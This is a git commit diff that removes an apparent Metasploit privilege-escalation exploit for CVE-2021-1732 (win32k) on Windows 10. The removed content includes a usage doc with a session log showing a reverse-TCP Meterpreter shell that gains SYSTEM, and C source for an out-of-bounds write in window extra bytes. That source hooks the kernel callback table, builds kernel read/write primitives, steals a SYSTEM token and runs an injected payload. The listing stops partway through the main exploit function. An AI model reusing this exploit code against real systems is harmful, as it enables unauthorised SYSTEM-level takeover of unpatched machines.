Remove all the old CVE-2021-1732 data

This commit is contained in:
Spencer McIntyre 2022-02-18 15:25:39 -05:00
parent bcd7cb1122
commit 443bf1249a
7 changed files with 0 additions and 891 deletions

View File

@ -1,69 +0,0 @@
## Vulnerable Application
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of
NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an
offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write
operation, eventually leading to privilege escalation.
### Installation And Setup
Windows 10 versions 1803 through 20H2 (without the patch) are vulnerable out of the box. This exploit module has been
tested on all 6 affected versions of Windows.
## Verification Steps
1. Start msfconsole
1. Get a Meterpreter session on a vulnerable host
1. Do: `use exploit/windows/local/cve_2021_1732_win32k`
1. Set the `SESSION` and `PAYLOAD` options
1. Do: `run`
1. You should get a shell.
## Scenarios
### Windows 10 Version 20H2 Build 19042.746 x64
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-JKM0HAD\aliddle
meterpreter > sysinfo
Computer : DESKTOP-JKM0HAD
OS : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/local/cve_2021_1732_win32k
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2021_1732_win32k) > set SESSION -1
SESSION => -1
msf6 exploit(windows/local/cve_2021_1732_win32k) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2021_1732_win32k) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/local/cve_2021_1732_win32k) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Launching notepad to host the DLL...
[+] Process 7672 launched.
[*] Reflectively injecting the DLL into 7672...
[*] Sending stage (200262 bytes) to 192.168.159.66
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.66:60838) at 2021-03-15 17:56:28 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

View File

@ -1,31 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31025.194
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-1732", "CVE-2021-1732.vcxproj", "{5B5B7F06-E4F1-483F-821D-F23461E7A0C7}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5B5B7F06-E4F1-483F-821D-F23461E7A0C7}.Debug|x64.ActiveCfg = Debug|x64
{5B5B7F06-E4F1-483F-821D-F23461E7A0C7}.Debug|x64.Build.0 = Debug|x64
{5B5B7F06-E4F1-483F-821D-F23461E7A0C7}.Debug|x86.ActiveCfg = Debug|Win32
{5B5B7F06-E4F1-483F-821D-F23461E7A0C7}.Debug|x86.Build.0 = Debug|Win32
{5B5B7F06-E4F1-483F-821D-F23461E7A0C7}.Release|x64.ActiveCfg = Release|x64
{5B5B7F06-E4F1-483F-821D-F23461E7A0C7}.Release|x64.Build.0 = Release|x64
{5B5B7F06-E4F1-483F-821D-F23461E7A0C7}.Release|x86.ActiveCfg = Release|Win32
{5B5B7F06-E4F1-483F-821D-F23461E7A0C7}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {068C3FF5-E88D-45AD-A1B8-ED1A97985A8D}
EndGlobalSection
EndGlobal

View File

@ -1,238 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{5b5b7f06-e4f1-483f-821d-f23461e7a0c7}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>CVE_2021_1732</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions);UMDF_USING_NTSTATUS</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateMapFile>false</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions);UMDF_USING_NTSTATUS</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateMapFile>false</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
</Link>
<PostBuildEvent>
<Command>IF EXIST "..\..\..\..\data\exploits\$(ProjectName)\" GOTO COPY
mkdir "..\..\..\..\data\exploits\$(ProjectName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\$(ProjectName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="dllmain.c" />
<ClCompile Include="exploit.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -1,38 +0,0 @@
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"
#include <stdio.h>
#include <stdint.h>
#include <windows.h>
DWORD Exploit(PVOID pPayload);
LPVOID main(LPVOID lpReserved) {
Exploit(lpReserved);
return;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE*)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
main(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

View File

@ -1,402 +0,0 @@
#include <windows.h>
#include <time.h>
#include "common.h"
#include "definitions.h"
#define ConsoleAcquireDisplayOwnership 6
typedef PVOID(NTAPI* fxxxClientAllocWindowClassExtraBytes)(PSIZE_T pSize);
typedef DWORD64 QWORD;
fHMValidateHandle HMValidateHandle = NULL;
fNtCallbackReturn NtCallbackReturn = NULL;
fNtUserConsoleControl NtUserConsoleControl = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;
fxxxClientAllocWindowClassExtraBytes g_xxxClientAllocWindowClassExtraBytes = NULL;
DWORD g_dwRandom = 0;
QWORD g_pMem5 = 0;
HWND g_hWndMin = 0;
HWND g_hWndMax = 0;
BOOL g_bIsInit = FALSE;
ULONG_PTR* g_pUser32CallbackTable = NULL;
DWORD g_pmbi_rcBar_left = 0;
DWORD g_offset_0x1 = 0;
QWORD g_qwMinBaseAddress = 0;
QWORD g_qwRegionSize = 0;
DWORD g_Thrdeskhead_cLockobj_Min = 0;
DWORD g_Thrdeskhead_cLockboj_Max = 0;
const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;
const WORD offset_tagWND_WndExtra = 0x128;
ULONG_PTR GetPEB(void) {
return (ULONG_PTR)__readgsqword(0x60);
}
ULONG_PTR* GetUser32CallbackTable() {
return *(ULONG_PTR**)((PCHAR)GetPEB() + 0x58);
}
HWND GuessHwnd(QWORD* pBaseAddress, SIZE_T dwRegionSize) {
QWORD qwBaseAddressBak = *pBaseAddress;
QWORD qwBaseAddress = *pBaseAddress;
SIZE_T dwRegionSizeBak = dwRegionSize;
HWND hwndMagicWindow = NULL;
do {
while (*(WORD*)qwBaseAddress != g_dwRandom && dwRegionSize > 0) {
qwBaseAddress += sizeof(WORD);
dwRegionSize--;
}
if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000) {
qwBaseAddress = qwBaseAddress + sizeof(DWORD);
QWORD qwSub = qwBaseAddressBak - qwBaseAddress;
dwRegionSize = dwRegionSizeBak + qwSub;
}
hwndMagicWindow = (*(HWND*)(qwBaseAddress - 0xc8));
if (hwndMagicWindow) {
break;
}
} while (TRUE);
return hwndMagicWindow;
}
PVOID Hook_xxxClientAllocWindowClassExtraBytes(PSIZE_T pSize) {
if (*pSize == g_dwRandom) {
g_offset_0x1 = 1;
HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);
if (hwndMagic) {
NtUserConsoleControl(6i64, &hwndMagic, 0x10);
ULONG_PTR Result[3] = { g_Thrdeskhead_cLockobj_Min, 0, 0 };
NtCallbackReturn(&Result, sizeof(Result), 0);
}
}
return g_xxxClientAllocWindowClassExtraBytes(pSize);
}
BOOL InstallHooks(void) {
DWORD dwOldProtect;
ULONG_PTR* ptrAddr = &g_pUser32CallbackTable[0x7b]; /* 0x7b is the index of xxxClientAllocWindowClassExtraBytes */
VirtualProtect((PVOID)ptrAddr, sizeof(PVOID), PAGE_READWRITE, &dwOldProtect);
g_xxxClientAllocWindowClassExtraBytes = *(fxxxClientAllocWindowClassExtraBytes*)ptrAddr;
*(ULONG_PTR*)ptrAddr = (ULONG_PTR)Hook_xxxClientAllocWindowClassExtraBytes;
VirtualProtect((PVOID)ptrAddr, sizeof(PVOID), dwOldProtect, &dwOldProtect);
return TRUE;
}
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
LRESULT lResult;
switch (uMsg) {
default:
lResult = DefWindowProc(hWnd, uMsg, wParam, lParam);
}
return lResult;
}
QWORD KernelRead(ULONG_PTR DestAddr) {
MENUBARINFO pmbi;
memset(&pmbi, 0, sizeof(MENUBARINFO));
pmbi.cbSize = sizeof(MENUBARINFO);
if (!g_bIsInit) {
QWORD* pTemp = (QWORD*)LocalAlloc(LMEM_ZEROINIT, 0x200);
QWORD qwBase = 0x000000400000000;
QWORD qwAdd = 0x0000000800000008;
for (int i = 0; i < 0x40; i++) {
pTemp[i] = qwBase + qwAdd * i;
}
*(QWORD*)g_pMem5 = (QWORD)pTemp;
GetMenuBarInfo(g_hWndMax, OBJID_MENU, 1, &pmbi);
g_pmbi_rcBar_left = pmbi.rcBar.left;
g_bIsInit = TRUE;
}
*(QWORD*)g_pMem5 = DestAddr - g_pmbi_rcBar_left;
GetMenuBarInfo(g_hWndMax, OBJID_MENU, 1, &pmbi);
return (DWORD)pmbi.rcBar.left + ((QWORD)pmbi.rcBar.top << 32);
}
ULONG_PTR KernelWrite(ULONG_PTR DestAddr, ULONG_PTR Data) {
SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + offset_tagWND_WndExtra, DestAddr);
return (ULONG_PTR)SetWindowLongPtrA(g_hWndMax, 0, Data);
}
BOOL ResolveRequirements(void) {
HMODULE hNtdll = LoadLibrary("ntdll");
HMODULE hUser32 = LoadLibrary("user32");
HMODULE hWin32u = LoadLibrary("win32u");
PBYTE pIsMenu = NULL;
DWORD dwCursor = 0;
if ((!hNtdll) || (!hUser32) || (!hWin32u)) {
return FALSE;
}
/* find all of the functions we need */
if (!(NtCallbackReturn = (fNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn"))) {
return FALSE;
}
if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
return FALSE;
}
if (!(NtUserConsoleControl = (fNtUserConsoleControl)GetProcAddress(hWin32u, "NtUserConsoleControl"))) {
return FALSE;
}
if (!(pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu"))) {
return FALSE;
}
while (*(pIsMenu + dwCursor) != 0xe8) {
if (dwCursor++ > 0x20) {
return FALSE;
}
}
HMValidateHandle = (fHMValidateHandle)(pIsMenu + dwCursor + *(PINT)(pIsMenu + dwCursor + 1) + 5);
/* find the kernel callback table in user32 */
if (!(g_pUser32CallbackTable = GetUser32CallbackTable())) {
return FALSE;
}
/* get the version to determine the necessary eprocess offsets */
DWORD dwMajor, dwMinor, dwBuild;
RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
if (!((dwMajor == 10) && (dwMinor == 0))) {
return FALSE;
}
dwBuild = LOWORD(dwBuild);
/* older than v1803 */
if (dwBuild < 17134) {
return FALSE;
}
/* v1803 - v1909*/
else if (dwBuild < 19041) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
}
/* v2004 - v20H2 */
else if (dwBuild < 19043) {
g_pEprocessOffsets = &EprocessOffsetsWin10v2004;
}
else {
return FALSE;
}
return TRUE;
}
void UpgradeToken(QWORD qwEprocess) {
QWORD qwEprocessBak = qwEprocess;
DWORD dwPidSelf = GetCurrentProcessId();
QWORD dwSystemToken = 0;
QWORD dwMyToken = 0;
QWORD qwMyTokenAddr = 0;
while (!dwSystemToken || !qwMyTokenAddr) {
DWORD dwPidRead = KernelRead(qwEprocess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff;
if (dwPidRead == 4)
dwSystemToken = KernelRead(qwEprocess + g_pEprocessOffsets->Token);
if (dwPidRead == dwPidSelf)
qwMyTokenAddr = qwEprocess + g_pEprocessOffsets->Token;
qwEprocess = KernelRead(qwEprocess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks;
if (qwEprocessBak == qwEprocess)
break;
}
KernelWrite(qwMyTokenAddr, dwSystemToken);
}
void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pPayload)
return;
CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
CreateThread(NULL, 0, pPayload, NULL, 0, NULL);
}
DWORD Exploit(PVOID pPayload) {
DWORD dwIndex;
QWORD qwExploit;
QWORD qwRPDesk = 0;
if (!ResolveRequirements()) {
return 0;
}
if (!InstallHooks()) {
return 0;
}
srand(time(0) & 0xffffffff);
g_dwRandom = (rand() % 255 + 0x1234) | 1;
WNDCLASSEXW wndClass;
memset(&wndClass, 0, sizeof(WNDCLASSEXW));
wndClass.lpfnWndProc = (WNDPROC)WindowProc;
wndClass.cbSize = 80;
wndClass.style = 3;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 32;
wndClass.hInstance = GetModuleHandleW(NULL);
wndClass.lpszClassName = L"normalClass";
ATOM g_lpWcxNormal = RegisterClassExW(&wndClass);
wndClass.cbWndExtra = g_dwRandom;
wndClass.lpszClassName = L"magicClass";
ATOM g_lpWcxMagic = RegisterClassExW(&wndClass);
CreatePopupMenu();
/* setup data structures for the read primitive that will be used later on */
QWORD pMem1 = (QWORD)LocalAlloc(LMEM_ZEROINIT, 0x200);
QWORD pMem2 = (QWORD)LocalAlloc(LMEM_ZEROINIT, 0x30);
QWORD pMem3 = (QWORD)LocalAlloc(LMEM_ZEROINIT, 4);
QWORD pMem4 = (QWORD)LocalAlloc(LMEM_ZEROINIT, 0xA0);
g_pMem5 = (QWORD)LocalAlloc(LMEM_ZEROINIT, 8);
((QWORD*)pMem1)[0x00] = 0x88888888;
((QWORD*)pMem1)[0x05] = pMem2;
((QWORD*)pMem1)[0x08] = 0x0000000100000001;
((QWORD*)pMem1)[0x0b] = g_pMem5;
((DWORD*)pMem2)[0x0b] = 16;
((QWORD*)pMem3)[0] = pMem1;
((QWORD*)pMem3)[1] = 16;
((QWORD*)pMem4)[0x13] = pMem3;
MEMORY_BASIC_INFORMATION Buffer;
memset(&Buffer, 0, sizeof(MEMORY_BASIC_INFORMATION));
QWORD Thrdeskhead_cLockObj1 = 0;
QWORD Thrdeskhead_cLockObj2 = 0;
QWORD arrEntryDesktop[10] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
HWND arrhwndNoraml[10] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
for (dwIndex = 0; dwIndex < 10; dwIndex += 1) {
HWND hwndNormal = CreateWindowExW(
WS_EX_NOACTIVATE,
(LPCWSTR)g_lpWcxNormal,
L"somewnd",
WS_DISABLED,
0,
0,
0,
0,
0,
CreateMenu(),
GetModuleHandleW(NULL),
NULL);
arrhwndNoraml[dwIndex] = hwndNormal;
QWORD qwfirstEntryDesktop = (QWORD)HMValidateHandle(hwndNormal, TYPE_WINDOW);
arrEntryDesktop[dwIndex] = qwfirstEntryDesktop;
VirtualQuery((LPVOID)qwfirstEntryDesktop, &Buffer, sizeof(MEMORY_BASIC_INFORMATION));
if (g_qwMinBaseAddress == 0) {
g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress;
g_qwRegionSize = Buffer.RegionSize;
